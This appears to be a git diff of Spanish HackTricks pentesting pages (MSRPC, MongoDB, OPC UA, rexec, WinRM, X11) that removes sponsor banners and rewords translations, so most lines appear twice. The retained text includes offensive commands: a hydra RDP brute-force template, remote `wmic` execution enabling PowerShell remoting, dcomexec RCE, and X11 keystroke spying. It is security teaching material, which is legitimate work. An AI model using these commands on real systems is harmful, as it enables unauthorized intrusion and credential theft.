El protocolo Microsoft Remote Procedure Call (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y luego fue desarrollado y protegido por Microsoft. El protocolo Microsoft Remote Procedure Call (MSRPC), un modelo cliente-servidor que permite a un programa solicitar un servicio de un programa ubicado en otra computadora sin entender los detalles de la red, se derivó inicialmente de software de código abierto y luego fue desarrollado y protegido por Microsoft.
@ -41,7 +26,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000 UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028] Binding: ncadg_ip_udp:<IP>[1028]
``` ```
El acceso al servicio de localización RPC se habilita a través de protocolos específicos: ncacn_ip_tcp y ncadg_ip_udp para acceder a través del puerto 135, ncacn_np para conexiones SMB y ncacn_http para comunicación RPC basada en la web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135: El acceso al servicio de localización RPC está habilitado a través de protocolos específicos: ncacn_ip_tcp y ncadg_ip_udp para acceder a través del puerto 135, ncacn_np para conexiones SMB y ncacn_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con servicios MSRPC, centrándose principalmente en el puerto 135:
```bash ```bash
use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden use auxiliary/scanner/dcerpc/hidden
@ -61,7 +46,7 @@ Todas las opciones excepto `tcp_dcerpc_auditor` están diseñadas específicamen
- **Descripción**: Interfaz de Servicios de Directorio LSA (DS), utilizada para enumerar dominios y relaciones de confianza. - **Descripción**: Interfaz de Servicios de Directorio LSA (DS), utilizada para enumerar dominios y relaciones de confianza.
- **IFID**: 12345778-1234-abcd-ef00-0123456789ac - **IFID**: 12345778-1234-abcd-ef00-0123456789ac
- **Named Pipe**: `\pipe\samr` - **Named Pipe**: `\pipe\samr`
- **Descripción**: Interfaz LSA SAMR, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y realizar ataques de fuerza bruta a contraseñas de usuarios sin importar la política de bloqueo de cuentas. - **Descripción**: Interfaz LSA SAMR, utilizada para acceder a elementos públicos de la base de datos SAM (por ejemplo, nombres de usuario) y realizar ataques de fuerza bruta a contraseñas de usuario sin importar la política de bloqueo de cuentas.
- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b - **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
- **Named Pipe**: `\pipe\atsvc` - **Named Pipe**: `\pipe\atsvc`
- **Descripción**: Programador de tareas, utilizado para ejecutar comandos de forma remota. - **Descripción**: Programador de tareas, utilizado para ejecutar comandos de forma remota.
@ -82,13 +67,13 @@ Todas las opciones excepto `tcp_dcerpc_auditor` están diseñadas específicamen
Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_. Usando [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), proveniente de [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), es posible abusar del método _**ServerAlive2**_ dentro de la interfaz _**IOXIDResolver**_.
Este método se ha utilizado para obtener información de la interfaz como la dirección **IPv6** de la caja HTB _APT_. Consulta [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para el informe de 0xdf APT, que incluye un método alternativo utilizando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba). Este método se ha utilizado para obtener información de la interfaz como dirección **IPv6** de la caja HTB _APT_. Vea [aquí](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) para el informe de 0xdf APT, incluye un método alternativo usando rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) con _stringbinding_ (ver arriba).
### Ejecutando un RCE con credenciales válidas ### Ejecutando un RCE con credenciales válidas
Es posible ejecutar código remoto en una máquina, si las credenciales de un usuario válido están disponibles utilizando [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) del marco impacket. Es posible ejecutar código remoto en una máquina, si las credenciales de un usuario válido están disponibles usando [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) del marco impacket.
**Recuerda probar con los diferentes objetos disponibles** **Recuerde intentar con los diferentes objetos disponibles**
- ShellWindows - ShellWindows
- ShellBrowserWindow - ShellBrowserWindow
@ -104,19 +89,4 @@ El **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
- [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) - [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
- [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/) - [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma de **bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Información Básica ## Información Básica
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http` - `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Información Básica ## Información Básica
**MongoDB** es un sistema de gestión de bases de datos **de código abierto** que utiliza un **modelo de base de datos orientado a documentos** para manejar diversas formas de datos. Ofrece flexibilidad y escalabilidad para gestionar datos no estructurados o semi-estructurados en aplicaciones como análisis de big data y gestión de contenido. **Puerto por defecto:** 27017, 27018 **MongoDB** es un sistema de gestión de bases de datos **de código abierto** que utiliza un **modelo de base de datos orientado a documentos** para manejar diversas formas de datos. Ofrece flexibilidad y escalabilidad para gestionar datos no estructurados o semi-estructurados en aplicaciones como análisis de big data y gestión de contenido. **Puerto por defecto:** 27017, 27018
@ -88,14 +73,14 @@ Los IDs de objeto de Mongo son cadenas **hexadecimales de 12 bytes**:
![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png) ![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png)
Por ejemplo, aquí se muestra cómo podemos descomponer un ID de objeto real devuelto por una aplicación: 5f2459ac9fa6dc2500314019 Por ejemplo, así es como podemos descomponer un ID de objeto real devuelto por una aplicación: 5f2459ac9fa6dc2500314019
1. 5f2459ac: 1596217772 en decimal = Viernes, 31 de julio de 2020 17:49:32 1. 5f2459ac: 1596217772 en decimal = Viernes, 31 de julio de 2020 17:49:32
2. 9fa6dc: Identificador de máquina 2. 9fa6dc: Identificador de máquina
3. 2500: ID de proceso 3. 2500: ID de proceso
4. 314019: Un contador incremental 4. 314019: Un contador incremental
De los elementos anteriores, el identificador de máquina permanecerá igual mientras la base de datos esté ejecutándose en la misma máquina física/virtual. El ID de proceso solo cambiará si se reinicia el proceso de MongoDB. La marca de tiempo se actualizará cada segundo. El único desafío para adivinar los IDs de objeto simplemente incrementando los valores del contador y la marca de tiempo, es el hecho de que Mongo DB genera IDs de objeto y asigna IDs de objeto a nivel de sistema. De los elementos anteriores, el identificador de máquina permanecerá igual mientras la base de datos esté ejecutándose en la misma máquina física/virtual. El ID de proceso solo cambiará si el proceso de MongoDB se reinicia. La marca de tiempo se actualizará cada segundo. El único desafío para adivinar los IDs de objeto simplemente incrementando los valores del contador y la marca de tiempo, es el hecho de que Mongo DB genera IDs de objeto y asigna IDs de objeto a nivel de sistema.
La herramienta [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), dado un ID de objeto inicial (puedes crear una cuenta y obtener un ID inicial), devuelve alrededor de 1000 IDs de objeto probables que podrían haber sido asignados a los siguientes objetos, por lo que solo necesitas hacer un ataque de fuerza bruta. La herramienta [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), dado un ID de objeto inicial (puedes crear una cuenta y obtener un ID inicial), devuelve alrededor de 1000 IDs de objeto probables que podrían haber sido asignados a los siguientes objetos, por lo que solo necesitas hacer un ataque de fuerza bruta.
@ -105,19 +90,4 @@ Si eres root, puedes **modificar** el archivo **mongodb.conf** para que no se ne
--- ---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Información Básica ## Información Básica
@ -39,8 +36,5 @@ La configuración del switch **10.10.100.10** estará en la carpeta **tftp/**
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,17 +2,9 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Información Básica ## Información Básica
**OPC UA**, que significa **Open Platform Communications Unified Access**, es un protocolo de código abierto crucial utilizado en diversas industrias como Manufactura, Energía, Aeroespacial y Defensa para el intercambio de datos y control de equipos. Permite de manera única que el equipo de diferentes proveedores se comunique, especialmente con PLCs. **OPC UA**, que significa **Open Platform Communications Unified Access**, es un protocolo de código abierto crucial utilizado en diversas industrias como Manufactura, Energía, Aeroespacial y Defensa para el intercambio de datos y el control de equipos. Permite de manera única que el equipo de diferentes proveedores se comunique, especialmente con PLCs.
Su configuración permite medidas de seguridad robustas, pero a menudo, para la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, encontrar servicios OPC UA puede ser complicado, ya que los escáneres de red pueden no detectarlos si están en puertos no estándar. Su configuración permite medidas de seguridad robustas, pero a menudo, para la compatibilidad con dispositivos más antiguos, estas se reducen, exponiendo los sistemas a riesgos. Además, encontrar servicios OPC UA puede ser complicado, ya que los escáneres de red pueden no detectarlos si están en puertos no estándar.
@ -29,9 +21,9 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
``` ```
### Explotación de vulnerabilidades ### Explotación de vulnerabilidades
Si se encuentran vulnerabilidades de bypass de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura. Si se encuentran vulnerabilidades de elusión de autenticación, puedes configurar un [cliente OPC UA](https://www.prosysopc.com/products/opc-ua-browser/) en consecuencia y ver a qué puedes acceder. Esto puede permitir desde simplemente leer valores de proceso hasta operar realmente equipos industriales de gran envergadura.
Para obtener una pista sobre el dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google. Para tener una idea del dispositivo al que tienes acceso, lee los valores del nodo "ServerStatus" en el espacio de direcciones y busca un manual de uso en Google.
## Shodan ## Shodan
@ -41,12 +33,5 @@ Para obtener una pista sobre el dispositivo al que tienes acceso, lee los valore
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) - [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Información Básica ## Información Básica
@ -21,12 +14,5 @@ PORT STATE SERVICE
``` ```
### [**Fuerza bruta**](../generic-hacking/brute-force.md#rexec) ### [**Fuerza bruta**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## WinRM ## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) se destaca como un **protocolo de Microsoft** que permite la **gestión remota de sistemas Windows** a través de HTTP(S), aprovechando SOAP en el proceso. Está fundamentalmente impulsado por WMI, presentándose como una interfaz basada en HTTP para operaciones de WMI. [Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) se destaca como un **protocolo de Microsoft** que permite la **gestión remota de sistemas Windows** a través de HTTP(S), aprovechando SOAP en el proceso. Está fundamentalmente impulsado por WMI, presentándose como una interfaz basada en HTTP para operaciones de WMI.
@ -30,14 +15,14 @@ Un puerto abierto de la lista anterior significa que WinRM ha sido configurado,
### **Iniciando una Sesión WinRM** ### **Iniciando una Sesión WinRM**
Para configurar PowerShell para WinRM, se utiliza el cmdlet `Enable-PSRemoting` de Microsoft, configurando la computadora para aceptar comandos remotos de PowerShell. Con acceso elevado a PowerShell, se pueden ejecutar los siguientes comandos para habilitar esta funcionalidad y designar cualquier host como confiable: Para configurar PowerShell para WinRM, el cmdlet `Enable-PSRemoting` de Microsoft entra en juego, configurando la computadora para aceptar comandos remotos de PowerShell. Con acceso elevado a PowerShell, se pueden ejecutar los siguientes comandos para habilitar esta funcionalidad y designar cualquier host como confiable:
```powershell ```powershell
Enable-PSRemoting -Force Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts * Set-Item wsman:\localhost\client\trustedhosts *
``` ```
Este enfoque implica agregar un comodín a la configuración de `trustedhosts`, un paso que requiere una consideración cuidadosa debido a sus implicaciones. También se señala que puede ser necesario alterar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante. Este enfoque implica agregar un comodín a la configuración de `trustedhosts`, un paso que requiere una consideración cuidadosa debido a sus implicaciones. También se señala que puede ser necesario alterar el tipo de red de "Pública" a "Trabajo" en la máquina del atacante.
Además, WinRM puede ser **activado de forma remota** utilizando el comando `wmic`, como se demuestra a continuación: Además, WinRM se puede **activar de forma remota** utilizando el comando `wmic`, como se demuestra a continuación:
```powershell ```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force" wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
``` ```
@ -132,26 +117,11 @@ Si encuentras el siguiente error:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.` `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
El intento en el cliente (info de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)): Intenta en el cliente (info de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby ```ruby
winrm quickconfig winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
``` ```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
¡Únete a nosotros en [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Conexión WinRM en Linux ## Conexión WinRM en Linux
### Fuerza Bruta ### Fuerza Bruta
@ -291,19 +261,4 @@ Name: Hydra Brute Force
Description: Need User Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
``` ```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,21 +2,6 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Información Básica ## Información Básica
**X Window System** (X) es un sistema de ventanas versátil que prevalece en sistemas operativos basados en UNIX. Proporciona un marco para crear **interfaces gráficas de usuario (GUIs)**, con programas individuales manejando el diseño de la interfaz de usuario. Esta flexibilidad permite experiencias diversas y personalizables dentro del entorno X. **X Window System** (X) es un sistema de ventanas versátil que prevalece en sistemas operativos basados en UNIX. Proporciona un marco para crear **interfaces gráficas de usuario (GUIs)**, con programas individuales manejando el diseño de la interfaz de usuario. Esta flexibilidad permite experiencias diversas y personalizables dentro del entorno X.
@ -28,7 +13,7 @@ PORT STATE SERVICE
``` ```
## Enumeración ## Enumeración
Verifique si hay **conexión anónima:** Verifique la **conexión anónima:**
```bash ```bash
nmap -sV --script x11-access -p <PORT> <IP> nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11 msf> use auxiliary/scanner/x11/open_x11
@ -66,7 +51,7 @@ xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display
[xspy](http://tools.kali.org/sniffingspoofing/xspy) para espiar las pulsaciones del teclado. [xspy](http://tools.kali.org/sniffingspoofing/xspy) para espiar las pulsaciones del teclado.
Salida de muestra: Salida de ejemplo:
``` ```
xspy 10.9.xx.xx xspy 10.9.xx.xx
@ -145,19 +130,4 @@ Luego, coloca tu dirección IP y puerto en la opción **R-Shell** y haz clic en
- `port:6000 x11` - `port:6000 x11`
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Únete al servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More